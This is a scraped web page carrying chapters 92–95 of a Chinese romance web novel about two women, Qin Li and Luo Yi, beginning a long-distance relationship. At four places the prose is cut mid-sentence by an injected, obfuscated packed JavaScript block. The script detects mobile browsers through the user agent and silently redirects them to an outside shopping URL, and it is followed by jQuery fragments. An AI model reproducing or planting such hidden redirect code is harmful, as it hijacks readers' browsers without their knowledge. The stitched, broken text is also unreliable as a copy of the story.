她哈哈大笑:“看吧,我就说我投篮很厉害的。” 洛依也笑得很灿烂,语气有些宠溺:“知道你厉害。” 秦离撞进她深邃的目光里,心上噌地开出了小花,喧嚣的世界突然沉寂了。 92. Chapter 92 她们又玩了好多项目,赛车、太鼓达人、丛林射击、桌上足球……秦离脸上的笑容也越来越灿烂。 或许是人太多的缘故,在一次被人群挤散后,不知是谁主动,两人牵着手,像是真正的情侣那样。秦离记起了,自己曾经似乎有个愿望,能和恋人一起快乐地来电玩城,拿着一大篮子游戏币,玩好多好多项目 就像现在这样。 真好啊…… 路过娃娃机时,秦离眼神在上面多停了几秒,洛依问她:“要玩吗?” 秦离有些犹疑:“这个很难抓的,太浪费币,算了。”过去大家都这么说,而且抓这种可爱的娃娃,怎么看也不适合现在的自己了。 洛依听出她话里隐藏的渴望,拉着她过去:“想玩就试试呀,我们还有很多币,不够我再去买。” 面对两大排娃娃机,洛依问道:“想要哪个?” 见秦离还在犹疑,她索性就近选了个机器,投币进去。 “等等……” 秦离话没说完,洛依第一下已经结束了,意料之内的落空。机器爪子果然被调得很松,虽然对准了但一滑,连抓都没抓起来。 秦离更加退缩了:“要不还是算了?” 洛依的好胜心上来,坚持道:“那不行,今天不管能不能抓到,你一定要玩够,抓到不想抓为止。” 她连着抓了好几次,最后一次抓起来了,却再爪子即将挪到洞口时抖了抖,又掉下去,落在边沿下。 “哎呀,可惜,就差一点。” 秦离也被她搞得心痒起来,捏着币道:“要不我试试?” 洛依点头,给她让位置。 秦离的运气出乎意料得好。她也没什么技术,全凭感觉,居然试了两次就成功了。两人兴奋地从洞口取东西,是个白脸绿发的菜头,很可爱。 洛依毫不吝惜夸奖:“哎呀呀,姐姐好厉害呀,原来刚才是在谦虚哦。” 秦离红着脸,不好意思。 接下来,两人尝试了所有有可爱的公仔的娃娃机,斥三百大洋巨资,最后只得了个菜头、派大星、海星和kitty猫,可以说是非常得不划算了。 但两人都很开心,秦离也不再说什么浪费币的话了。 她将曾经羡慕的事做了个畅快。 有一就有二,秦离将曾经电玩城里自己不敢玩的项目全部玩了个遍,最后瞄准了跳舞机。 电玩城里跳舞机前的人总是很多,有时候看的人比跳的人还多,而且跳的人也往往都是四肢灵活、技术高超,还长得好看,因此过去她总是有点想玩又不敢上去。 今天跳舞机这里的人也不少,但秦离玩嗨了,胆子大了些,看刚好有人下来,拉着洛依就要过去。 这次是洛依不肯了。这种大庭广众之下万众瞩目的事,对她这种i人来说简直是万分惶恐。 她最后还是没拗过秦离,跟她一起上去开了双人模式。两人选了最简单的难度,前后左右笨拙地踩着地上的箭头。 洛依一开始还有些放不开,转头看见秦离满脸的笑意,完全沉浸在这种僵硬的艺术种,忘乎所以,乐此不疲。 ……算了。 开心就好。 秦离跳了好几首,洛依也忘记了周围人的目光。 这时,罗娜的电话来了,问她们在哪里,秦离才结束,意犹未尽,两人的手自然而然又牵在了一起。 电玩城门口,罗娜看见两人亲密的姿态愣了下,感慨了句“你们关系真好啊”。 洛依条件反射想松开,秦离抓着没放,洛依挣了下没挣开,身体僵硬了瞬又放松,还是由着她牵着了。 罗娜没多想,抱歉向她们解释:“我单位突然有点急事,call我这会回去加班,估计明天也要加一天。实在不好意思啊,秦离,这次慌慌忙忙的,下次你来的时间长点,我再带你好好玩一玩。这次就只有洛依陪你了。” 秦离不在意,甚至还有些窃喜,点头应了,宽慰她工作重要。 罗娜走后,就只有她们两人了。 天空不知什么时候下起了浠沥沥的小雨,风将雨点刮得到处都是。这时车很不好打,两人等了半天没车应,最后决定走回酒店。 洛依带了把黑色的大伞,勉强将两人罩在伞下。 两人挨得很近,手臂贴着手臂,冰冷和炽热的感觉同在。秦离抓着伞,习惯性朝着洛依那边倾斜,任由右边手臂湿透。 她今天的裙子依旧很短,在风里被吹得乱七八糟,一路上,洛依都小心护着,防止她走光。 到酒店时,秦离和洛依身上都湿了大半。看着对方狼狈的样子,两人不约而同笑出了声。 “真是太惨了。” 洛依将雨伞晾好,提醒已经想懒懒躺下的秦离:“快去洗个澡吧,别感冒了。” “……好哦。”秦离不情不愿起身。 洗完澡后,房间的温度升高,带着天竺葵的香味,像个温暖的小窝,将房间之外的泥泞世界隔开。这个天气,出去做什么都不太方便了,洛依点了外卖,两人坐在床上看电影。 洛依选的片子,是《白蛇2:青蛇劫起》。 秦离没看过白蛇1,但喜欢赛博朋克背景下的小青设定,虽然是有点像自己常看游戏比赛中的某个英雄人物啦。 洛依倒是很喜欢。 两人口味都比较混邪,一致嗑了口青白。看到一半外卖来了,吃完后洛依又开了部皇帝和妃子身体互换的动画,轻松搞笑。 或许是今晚看的内容都跟爱情有关,两人的话题也自然而然转向了爱情,又说起了那些过去的故事,未来的想法。 秦离假装自己没有向洛依表白过,洛依也假装不知道秦离的想法,两人谈论爱情时像谈论其她人的故事。 “我其实只想和恋人能够住在一起,养一只猫,不管白天工作多么辛苦,晚上下班我们可以窝在一起吃东西看电影,说说笑笑着然后相拥而眠。再苦再累,只要她给我一个拥抱,就都没关系了。” 洛依感叹着:“可惜,我谈过的每场都是异地恋,最后一次还……这么惨烈,闹得很难看,可能我真的不适合和人谈恋爱吧……” “不是这样的。你真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370222|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很好很好啊。没能和你走下去,对那些人的遗憾,你值得有段很美好的恋爱和对你很好的恋人。” 句句不谈彼此,却似乎句句有所指。 秦离说得很真诚。她看着洛依,眼神真挚。 电视里还放着一本正经的妃子和娇羞帝王当然剧情,洛依不自在地别开脸,含混地嗯着。 两人坐在一张床上,身体与身体之间只有半臂的距离。窗外的雨声越来越大,雨点啪嗒打在玻璃上,隔绝了全世界。 房间似乎变得愈发狭小。 秦离心中微动,突然躺下,头枕在洛依大腿上,眼睛盯着电视,又聊起动漫的内容。 洛依放松下来接话,由她躺着,手自然地放在了她的肩上,秦离不敢也不舍得动作。 空气缓慢流动着暧昧的气息。 两人说到什么话题,洛依又笑了,今晚她总是笑得很多,于是秦离也笑了。 四目对视,秦离仰着头,就这么直愣愣地盯着,洛依也忘记了躲避,呆呆回望着。 突然,洛依伸手蒙住了秦离的眼睛。 “怎么了?”秦离问着,没动弹。 “别看了。”洛依的声音有些害羞。 秦离逗着她:“怎么不让我看呀?”声音像哄人一样。 洛依不说话了,手指并拢遮得更严实了,微微颤动着。 秦离还想多说几句逗人的话,突然感觉到热源靠近,柔软的呼吸带着唇落在她的唇上,蜻蜓点水。 这一刻,心跳如鼓,盖过了世间所有声音。所有的感官都好像失去了,唯一能感受到的就是唇上残留的那一点温热的触感。 “洛依……” 秦离唤着洛依的名字,手覆盖在她的手背上,握着轻轻挪开,她的全部身影、全部神态,连那微快的呼吸都填满了整个世界,再容不下任何一点其它什么东西。 “洛依……” 秦离的眼神愈发赤/裸,唤她的声音也愈发急切。 “嗯。”洛依依旧避开她的视线,目光落在了她的下半张脸。 是唇。 秦离心中的欲望膨胀。她紧紧抓着洛依的手掌,终于按耐不住凑近亲了上去。 她的动作急切又凶恶,却在触碰的瞬间变得轻柔,好像面对珍宝般小心翼翼。 洛依就跪坐在原地,乖巧应着,两片唇只是简单的触碰,没有深入,却让秦离不舍得结束。 不知道过去了多久,两人分开,秦离观察着洛依的神情,眼神里含着期待,试探问道:“是……我想的那个意思吗?” 洛依的目光飘忽着,飘到跟秦离对视上了又快速挪开,半天才轻轻点点头。 秦离的声音都因兴奋而有些颤抖,忍不住想得到更直白的回答,继续追问:“那我们……现在是恋人了吗?” 洛依被她盯得受不了了,将头埋进她怀里,声音带着胸腔震动着,传到秦离身体的每个部位,每条脉搏的跳动都与之共鸣。 洛依一副败给她的语气:“亲都亲啦,还能反悔嘛。” “我们,已经是恋人了。” 93. Chapter 93 秦离心花怒放,恨不得马上下楼跑圈,连眉梢都露着喜气。 受她影响,洛依也害羞地笑着。 电视声音依旧吵闹,但无人在意。 雨不知什么时候停了,秦离提议:“我们要不要出去走走?” “好呜0~0” 洛依的眼睛亮晶晶的,闪着光,秦离终于忍不住,捏了捏她的脸。 “干神魔~呜~” 秦离看她怎么都好乖,忍不住又凑过去亲了一口:“你太可爱了。” 洛依的眼神更无辜了,但没反抗,真的好乖。 下楼时已经过十二点了,大厅和街上都没什么人,晚风清凉,夜晚的天空是深沉的暗红色,没有云和月亮,只有点缀了整个天上画布的繁星。 “好多星星!” 秦离抬头感慨着,她已经很久没看到过这么多星星了。 “是啊,确实好多。” “可惜没有月亮。” 空气里传来淡淡的花香,两人牵着手,顺着没有车的小道走着,小心躲开水坑,像某种避障游戏。 秦离的注意力全在两人紧握的手上,侧头听见洛依哼着听不出的调子的曲子,自己的心情也变得轻快起来。 两人就这么漫无目的地走着,走过一排排卷帘门禁闭的小店,另一边是灌木丛和低矮的树木,蛾子在昏黄的路灯上撞来撞去。 “我们要去哪里?” “呜,去买点西瓜吧,看有没有水果店或者路边摊。” “好哦0.0” 洛依没有拿手机查店,秦离便也没提。两人慢慢朝大道走去,路上车辆疾驰,打破夜色,远处是许多高楼和万家灯火,每个小格子里都是一种人生。 秦离牵着洛依的手轻轻晃动着,声音软软的:“你怎么突然又改变想法了,不是说不谈异地恋吗~”说到后面又有点小得意。 “那没办法呀,”洛依又逗她,“不然我撤回?” “不行!”秦离急忙反驳。 洛依抿嘴笑着,捏了捏她的手心,才正经解释:“虽然不想异地恋,但……感情也不是我能控制的嘛。” “好哦~”秦离喜滋滋的。 “我那几个朋友肯定都要笑话我,说着不谈异地恋结果又开始了,不过,还是很好。”洛依调出四人合照指给秦离看,“我关系最好的就她们三个了,都在星城,下次我带你一起和她们吃饭。” “好哦!” 秦离更开心了,为洛依主动介绍自己的朋友圈。 前方十字路口的拐角处有人开着小货车卖西瓜,车厢上的白炽灯很亮,照着纸壳上的字:两块钱一斤,五块钱三斤。 见秦离她们望过去,卖西瓜的阿姨大声吆喝着:“妹儿,来买西瓜嘛,先尝尝,甜得很,不甜不要钱。” “过去看看?” “好。” 阿姨给两人切了两大块,确实很甜。然后在阿姨的热情推销下,两人不知怎么就买了一整个西瓜,足足六斤,沉甸甸的拎回酒店。 被阿姨的销售话术骗到的两人看着手里的大西瓜哭笑不得。最后西瓜一剖为二,洛依在不知道哪儿找来两个勺子,两人靠坐在床头,一人一半,就着剩下的番剧,舀着把西瓜吃得一干二净。 两个人胃里撑得不行,口腔里、手上,连空气里都是西瓜的清香味。 真好。 最后两人洗漱收拾完已经是凌晨四点过了,洛依已经躺在自己那张床上了,秦离也躺着,在黑暗中侧身,和她面对面对视着。 秦离一点也不想睡,心里蠢蠢欲动。看着阴影里那个模糊的轮廓,想到明天就要离开了,她内心的冲动愈发强烈,试探问道:“洛依……” “嗯?”洛依的声音有些迷糊了。 “我们能不能一起睡觉?” “……” 洛依奇怪地沉默了会,然后问道:“现在会不会太早了?” 秦离一下子反应过来,有些羞愤,嗔闹道:“不是那种睡觉啦,我就是想抱着你一起睡。我明天就要走了嘛……” 说着看洛依没有反驳,她胆子大起来,干脆直接跑过去钻进她的被子,侧身将她抱住,满怀的天竺葵香味。 “就是这样!” 洛依动了动,在她怀里找了个舒服的姿势,道:“好啦,睡吧。” 秦离抱着她,动作放得很轻柔,摸了摸她的头,像呵护自己的珍宝,怎么触碰都觉得不够珍视。她亲了亲她的额头,轻声道:“你真的好乖哦,我叫你乖仔好不好。” “唔,都随你,”洛依的眼睛都睁不开了,睫毛微颤着,“好啦,姐姐,再不睡我怕明天醒不来,时间太紧,我还想带你去吃鸡杂,那家很好吃……” “好,我们都睡。” 洛依一叫姐姐,秦离心都化成了一团,一点招架之力都没有了,只想什么都答应她,什么都给她。 两人相拥而眠,有点热却不舍得分开。 早上秦离醒来时已经天光大亮,洛依枕在她的手臂上,还在睡。秦离感觉右手臂完全麻了,却不舍得动弹一点,生怕将她吵醒。 阳光透过橘色的窗幔落在地板上,是很温暖的颜色。秦离背对着阳光,将光线全部遮住,不让它们打扰到洛依的安睡。洛依缩在她怀里,很依赖的样子。 秦离喜欢这种感觉。她借着微光,第一次近距离观察洛依沉睡的模样。 她的皮肤很好很光滑,基本看不到毛孔,嘴唇有些薄,看着很好亲的样子。她的呼吸缓慢而均匀,每一下呼吸都落在秦离的皮肤上。 落在她心里。 秦离的手指在虚空中滑动着,一点点描绘她的轮廓和五官。无论是哪一处,她都好喜欢。 被注视太久了,洛依的睫毛微微颤动,要醒不醒的样子。 秦离将呼吸都放得更轻了,但洛依还是缓缓醒来,呢喃着:“嗯……几点了?”她边说着,边无意识在秦离的肩上轻轻蹭了一下。 小猫一样。 洛依就是如同小猫一样可爱,秦离这么坚信着。 于是她的声音也像哄小猫那样:“还没到十二点哦,还早,你继续睡吧。” 洛依心里还挂念着事,倔强地睁开眼:“不行,该起来了。” 她说得很小声,秦离凑得很近才听清她在说什么。 她实在是太可爱了,秦离忍不住亲了亲她的唇,又亲亲她的脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370223|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一下又一下。 洛依依旧是乖巧应着,直到看秦离还在继续,才轻轻推了推她,看了看手机道:“我们真的该起来了。” 秦离没说谎,确实没到十二点,还差三分钟而已。 她离开的飞机是五点,洛依还想带她去吃点好吃的,所以即使还困着,她还是挣扎着艰难爬起来了。 “不能就这么睡过去,我们去吃那家好吃的鸡杂店。” 秦离自然是依她。 两人到鸡杂店已经是一点多了,店里没有客人,她们独占一桌。 鸡杂是自助的,老板将烧好的一大锅都倒在她们盆里,辣椒的味道在翻炒中扑鼻而来,有点呛但很香。 两人口味相似,都很嗜辣,胃口也不小,吃了很多。 很火热很幸福的味道,秦离喜欢这种味道。 时间过得很快,吃完差不多就要送秦离去机场了,洛依也要回单位,然后就是继续枯燥又耗能的痛苦工作。 出租车上,两人紧紧依偎着,手已经牵到发热微微出汗,但都舍不得松开。 临近分别了,秦离的心又开始患得患失,不断跟洛依确认着:“我等会就要走了……等我回去后,我们之间……不会有变化吧?” 洛依清楚她的心情,见司机师傅一心开车,没有注意后排,向秦离凑过去,隔着口罩落下一个吻,是安抚,也是承诺。 “我说出的话,不会变的。” 她这次没有躲避,回望秦离,眼神认真。 秦离的心一下就安定了。 “那回去后要多给我发消息,我们要打视频电话,你有什么事情都要跟我说,要多想我哦。” 洛依也都一一应下了。 她摘下秦离的口罩,挡着前方的位置,轻轻啄了啄秦离的唇。一下子,她身上的清香味盖过所有味道,萦绕在秦离的鼻腔里。 仿佛全世界。 再不舍,时间也到了。 公共场合,所有人都戴着口罩,隔得很远。秦离不好再有什么亲密动作,她抱了抱洛依,恋恋不舍道:“那我走了哦。” “嗯,一路平安,到了给我发消息。” “好哦,你要早点回去好好休息。” 秦离扫了健康码进了安检区。她三步一回头,洛依朝她挥挥手,她看着洛依的身影越来越小,直到转过弯,再也看不见了。 两人没有说下次什么时候才能见面,但秦离已经打定主意,至少两到三周要过来一次。 洛依单位管得更严,她没法轻易去外地,秦离活络些,愿意做主动的那个人。她知道,异地恋更需要花时间去维系,去见面。 没关系,还好她很有精力,周五晚上过来,周日晚上再回去,没问题的。 秦离脑子里很多念头转着,唯一肯定的是,这次她一定会考虑周全,好好经营这段感情。 来之前想的什么见最后一次面彻底放弃的事,早被她抛到脑后了。 过了安检刚走到登机口,秦离便收到了洛依的消息。 【你才刚走,我已经开始想你了。】 秦离看着手机笑了,笑容有点傻。 爱情是多么美好啊。 94. Chapter 94 爱情是多么美好啊。 与洛依在一起后,秦离每天脸上都洋溢着幸福的笑容,像喝了酒般微醺,连科长都问她:“遇见什么好事了?还是谈恋爱了?” 秦离并不想遮掩和洛依恋爱这件事,点头应着。 科长也为她开心:“可以啊,年轻人就要好好谈恋爱,他是干什么的?” 除了性别,秦离并不想掩饰关于洛依的任何事,没有说谎,说了她的事。 “那这是异地啊,”科长感叹道,“异地走下去不容易啊,你们都见不到面,不如让他加油考来南城,以后也好成家嘛。” 秦离不喜欢这个话题,含混应付过去了。 八月的南城很炎热。各地的疫情管控依旧很严格,中部和东部城市总是时不时有局部地区风控。体制内就管得更严了,严格意义上说,秦离之前离开南城去春城是要给单位报备征得同意的,她自然是瞒下偷偷跑了。 因为管控的原因,爸爸一直呆在老家工作岗位上。他们还被安排了许多防控相关工作,每天要在社区巡逻,忙得不行。 妈妈身体还好,但为了安全和方便被照顾,也一并回了老家。两人短期内都不打算回南城,走之前千叮咛万嘱咐,让秦离一定要好好照顾自己,少聚会少去人多的地方,饭也要好好吃,说了好多。 秦离应着好好好,等她们离开后一个人独享空间,欢喜得不行。 她原本每天和洛依就发不少消息,现在更是一刻也放不下手机,连工作最忙的时候,都要看看洛依有没有给她发消息,想着及时回复她。 两人有说不完的话,每天从早上聊到深夜两三点,双方都不愿意结束,直到秦离昏昏沉沉,没来得及说晚安便一秒入睡。 和恋爱前不同,两人交往后,洛依黏人的性格就完全不遮掩了。她很需要秦离的陪伴,即使现在只能通过电话和消息。 或许正是因为无法见面,她会发很多消息,分享很多发生的事情,需要随时确认秦离在,有看到她的消息,有及时回应她。 有一次上班时间,秦离正和洛依聊到她们院子里养的兔子时,突然被紧急喊去开会,等回来时看到手机上有七八条洛依发来的消息。 前面还是说兔子的事,后面见秦离一直没回复,洛依便问道:【人呢?】 【奶茶鼠探头.gif】 【怎么突然不见了呀。】 【委屈巴巴.gif】 秦离赶紧给她发消息解释,洛依知道了,但言辞间还是有些低落:【虽然也知道开会是正事,这么想有点任性,可我不想你突然不见了……】 脑海里很自然想象出洛依说这话时的语气和模样,秦离心疼极了,道:【那我之后去做什么都跟你说哦,短时间实在看不了消息的话提前告诉你,好不好?】 洛依那边沉默了阵才道:【我是不是太黏人了……可是对亲近的人我就是想时时刻刻都挨着,我又没办法天天看见你,会有点不安……】 秦离只想对她好点,再好点,满足她所有想要的。她喜欢洛依的孩子气,喜欢她对自己的依赖,看着她黏人的样子只会觉得可爱,哪里会嫌弃。 【我喜欢你这样呀。而且你黏着我,我才开心呢。】 【让你觉得不安那肯定是我的问题,我只想你开心。】 洛依依旧很纠结:【我其实不想给你增加负担,而且你这样,会提高我的期待度。如果有一天你做不到了,我会很难过,那还不如一开始就不要这样……】 秦离清楚,洛依是个很好胜又不想给别人带来麻烦的人。她对爱情又期待又畏惧,或许也有受了前任冷暴力的原因。 当时那段感情孰对孰错,秦离作为后来者无法确定,但她肯定无条件站在洛依这边。 【别怕,乖仔,我们慢慢来,有什么事都说出来,我们好好沟通,就没有什么不能解决的,对不对?】 【我们的未来还很长,异地恋的事也总有办法解决的。】 秦离对两人的未来信心满满,觉得自己现在已经足够成熟,可以好好去经营感情,解决矛盾。她稳定的情绪影响了洛依,对方也终于从内耗的状态走出来。 秦离松了口气。 她知道洛依在之前有过很长一段时间的抑郁状态,入职开启新生活后才好些。 恋爱本就让人心情大起大落,她只想让她开心,并不想她因为两人的事再度陷入抑郁。 秦离是个睡眠很好的人,各种声音和光线下都可以秒睡,以前也经常和朋友手机聊着聊着就睡着了。 但这会让洛依难过不安。 如果是洛依先说晚安,秦离便会让她赶紧休息,自己也放心睡着。但要是洛依还聊在兴头上,她也不舍得先说晚安结束,只想再继续聊下去。 为了抑制困意,秦离会坐在床上跟洛依发消息。即使如此,她还是不自觉会垂头打瞌睡。最后她干脆在房间里走来走去,还洗冷水脸,不断地拍脸,撑开眼皮,直到聊到洛依想睡了。 这些洛依都不知道,秦离也不舍得跟她说。 她做这些只是因为自己愿意,并不想把这些付出量化成筹码,给洛依增加心理负担。 感情上,她从不吝于主动付出,只要是对她爱的人,只要恋人能开心,只要两个人能好好走下去。 两人就像世间最普通的异地恋小情侣那样,从早到晚发消息说着许多看似无意义的话题,事无巨细,说不完,逮着稍微空点的时间便要打电话,电话往往都是一个小时起步。 秦离想了一切她能想到的花样,给洛依尽可能多的惊喜。 她给洛依弹吉他唱《七楼》——这是她最近学的第一首吉他曲,学完便迫不及待发给她听了。 她把荒废了许久的小提琴又拾起,奏《爱的礼赞》——唯一她还烂熟于心的曲子。洛依虽然“笑话”她一开始艰难找音,但其实偷偷将曲子存在手机里,听了很多遍。 洛依喜欢诗,也想听她念诗。有一次两人通话时提到,秦离只恨自己写不出什么像样的爱情诗,又一下记不得什么诗人写的句子,最终说道:【我给你念莎士比亚的英文诗好么?】这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370224|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她第一时间能想到的爱情诗。 【好呜!】洛依很期待。 “Shallparetheetoasummer''sday, ThouaremoreLovelyandmoretemperate. …… Solongasmencanbreatheandeyescansee, Solonglivesthis,andthisgiveslifetothee”① 是《莎士比亚十四行诗集》第十八首,当初她大学英语专业读到和背下的第一首英文诗。 在她眼里,洛依总是如此可爱。 秦离将诗的意思和故事讲给洛依听——其实她也只记得个大概,洛依很动容。 【姐姐好厉害啊,什么都会。】 秦离现在知道了,洛依黏人的时候,撒娇的时候就会喊姐姐,声音软软的,像小猫蹭蹭一样。 于是秦离发了个摸黄色小猫脑袋的表情图过去。 【乖哦~等我练和记了更多的,再给你听好不好呀?】 【好呜~】 不过洛依不太喜欢,或者说不太习惯打视频。两人一开始只有语音电话,之后是秦离实在想她,哄着她把摄像头开了。 摄像头里的洛依更害羞了。她把手机放在桌子上,对着她的下巴和肩膀。 聊着聊着,慢慢洛依终于放开了,给秦离看她房间和衣柜的样子,试不同的衣服给秦离看,最后她的脸也终于出现在视频里。 透过屏幕,洛依的神情看起来比之前更害羞了,眼神也更加深邃。 这次面对这样深情的眼神,秦离知道她是看着自己的,也是喜欢自己的。 庆幸又窃喜。 到最后,秦离躺在床上,洛依趴在桌子上,两人就这么一直说到手机没电,仿佛近在咫尺,抬头就可以触碰到对方。 很好了已经,秦离喜欢这种感觉,又有点不满足。 回来后又到了星期六党聚会日,这次大家选择了去杨颖楼下吃柴火鸡,吃完去做按摩,这是她们聚会的四件套之二了——还有两样是私影和游戏室打游戏,很符合现代社畜的活动方式,要么躺着,要么坐着。 秦离自然而然也给大家说了和洛依交往的事。裴子霜和杨颖自然是赞同的,恭喜她开启新的恋爱,整个人看着也是精神十足,喜气洋洋。 只有许平平不在状态,疑惑问道:“咦,那柳叶怎么办?” 柳叶…… 秦离听见这个名字恍如隔世,但很快心中有决定:“我和洛依已经在一起,自然不会和那边多接触了。” 没谈恋爱前,和多少人怎么暧昧都没关系——虽然她之前也没和柳叶到什么暧昧关系,对多少人抱着性缘方面的感兴趣心情也没关系。但谈恋爱后,哪怕是精神一点飘忽走偏,她都无法接受。 毕竟对恋人的忠贞不是最基本的吗? 就在这时,她突然收到了柳叶的消息:“周六一起去唱歌吗?” 95. Chapter 95 时间定在了明天。 秦离纠结了会,还是应了。她想做个体面的结束——即使只是她单方面没有任何意义的,之后便都不跟箭馆大家一起出去“无意义”的吃喝玩乐了。 许平平并不是站在谁那边,问完这句也就过了。 星期六党的快乐时间,秦离的心却不在这里,低着头跟洛依聊天,告诉她今天的行程和见面的人,一一介绍好友。 【我跟她们都说过你,等有机会见面我想带你和她们一起吃饭。】 【好呜~】 洛依也有自己的打算,没告诉秦离,打算到时候给她一个惊喜。 锅端上来,鸡公煲一如既往的好吃。或许是秦离和好友们说话恰饭,看手机的时间少了一点的原因,也或许是一种试探,洛依表露出更多的黏人:【我想和你打电话。】 【……现在吗?】 【嗯。】【不可以吗?[奶茶鼠望天.gif]】 【可以呀,稍等我拿耳机。】 面对洛依,秦离总是难以说出否定的话。她跟小伙伴们提了要边吃饭边跟对象打电话,大家都很理解,真就没管她了,她们仨聊自己的。 还好,她们四个足够熟,熟到有时候出来什么恰饭时一语不发,各自低头玩手机,想到了才聊几句都是常态。 这点不礼貌的行为自然没什么。 秦离挂着单边耳机,电话一打就是一个小时。她一只耳是洛依撒娇亲昵的声音,一只耳是好友们的闲聊声。 时空错乱着,好像大家都坐在一起,没有距离。 才分开了几天,明明每天都在和洛依发消息打电话,秦离却觉得度日如年。算算时间,下周六是七夕,是她们在一起后的第一个节日,秦离已经买好下周五晚上的机票了。跟洛依说了飞过去的事后,洛依担心她会太辛苦,但更多的还是又能见到她的欢喜,无法抗拒。 洛依解释着:【我们管得太严了,每周一都要看近半个月的行程码,根本不敢离开本地到处跑。】 【没关系,我过来也是一样的呀。而且我精力好嘛,周末飞一趟不影响,来去的飞机上睡一觉就好。】 这时,秦离确实不太在意,只是自己多跑点而已,没什么。洛依身体本来就不好,又容易累,自己辛苦点,对方就轻松些了。 洛依便只剩下等她来的期待。 秦离还想好了礼物,已经在网上买了星星纸和一个超大的星星玻璃罐,打算折五百二十个纸星星,每个里面都写上她想对洛依说的话。如果洛依想,在不开心的,开心的任何时候都可以打开一个。 从初中毕业后她就再没叠过纸星星了,现在仿佛回到了年少时,乐于做这些费时费力的事。 每晚熬夜,为了填满星星的罐子。 柳叶约唱k的地方就在箭馆附近,是大家常去那家。到了,秦离才发现房间里只有三个人,她,柳叶和箭馆另外一个和柳叶很要好的女生小春。 秦离有些意外。在这之前,她们大多是一堆人一起玩,很少有人这么少的时候。她想了想,叫了许平平出来。 唱歌、聊天、喝酒,所有活动跟之前都差不多。 四人不知不觉聊到感情话题,到秦离时,她提到自己已经有对象了。 小春有些意外:“你脱单了吗?什么时候?” 秦离说就是上周去见洛依的时候——她之前也提过洛依是她喜欢的人,大家都知道的。 “发展这么快啊,”小春感慨着,没有顺着这个话题再说什么了。期间,柳叶只是在喝酒,没有说话。 今晚反倒是许平平尤其活跃,说话很多,酒也喝了不少,有些失态。她从国外毕业回来后一直不太适应国企的工作环境,想要改变又不知该如何下手,只有内耗。 秦离陪她去了趟洗手间,回来时还未推门,便听见小春和柳叶的说话声。 小春:“不是说她是单身吗?” 柳叶:“之前确实是。” 秦离一愣,还要再听,身后许平平催她:“怎么不进去?” 于是没有后面的对话了。 唱k局刚开始,洛依又打电话过来,秦离跑出去接,在大厅的沙发上一坐就是一个小时。 打到后面,柳叶和小春出来溜达,打趣她:“哎呀,还和女朋友黏糊呢,快进来唱歌。” 洛依也听见了,便不好意思再黏着她:“你快去吧。” “嗯,那我们发消息吧。” “好呜~[奶茶鼠转圈.gif]” 一晚上很快过去,众人分开时,秦离道:“最近忙起来了,估计之后射箭的时间会变少。” 柳叶应道:“没事,现实生活重要,射箭嘛,有空感兴趣来练就行。” 那之后,秦离去箭馆的时间越来越少,直到后来疫情严重,经常半个多一个月被关在单位,就彻底不去了。 时间过得好慢,好不容易才终于到了下一个周末。周五下午,秦离的心就已经飘走,一大早就收拾好行李,还没下班就飞奔机场。 到时,洛依已经等了很久了。 看见她身影的那一刻,秦离大步奔过去,情难自禁抱住她:“我好想你!” 洛依轻轻回抱:“我也很想你。” 两人牵着手,顺着长长的甬道往外走,坐上晚间地铁去酒店。 熟悉的○季酒店,熟悉的天竺葵味道,洛依喜欢,两人后来便一直选的这家店。 到房间时,两人都是一身汗。洛依摘下帽子和口罩,秦离终于能看清她整张脸,心中满足。她忍不住凑上去,试探着亲吻洛依的嘴唇,得到回应后,加大了力道。 太好了。 两人黏糊了好久,见秦离一点没有停止的意思,洛依才主动提出:“好啦,你不饿么,想吃什么?” 秦离就想抱着她,道:“我都可以呢,看你想吃什么?” “我也都行。唔,那我们出去走走看看?附近有很多吃的。” “好昂!” 两人一起做什么都很慢,磨蹭着半天才出门。秦离牵着她,有说不完的话。 最近两人工作都步入正轨,没有一开始那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370225|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 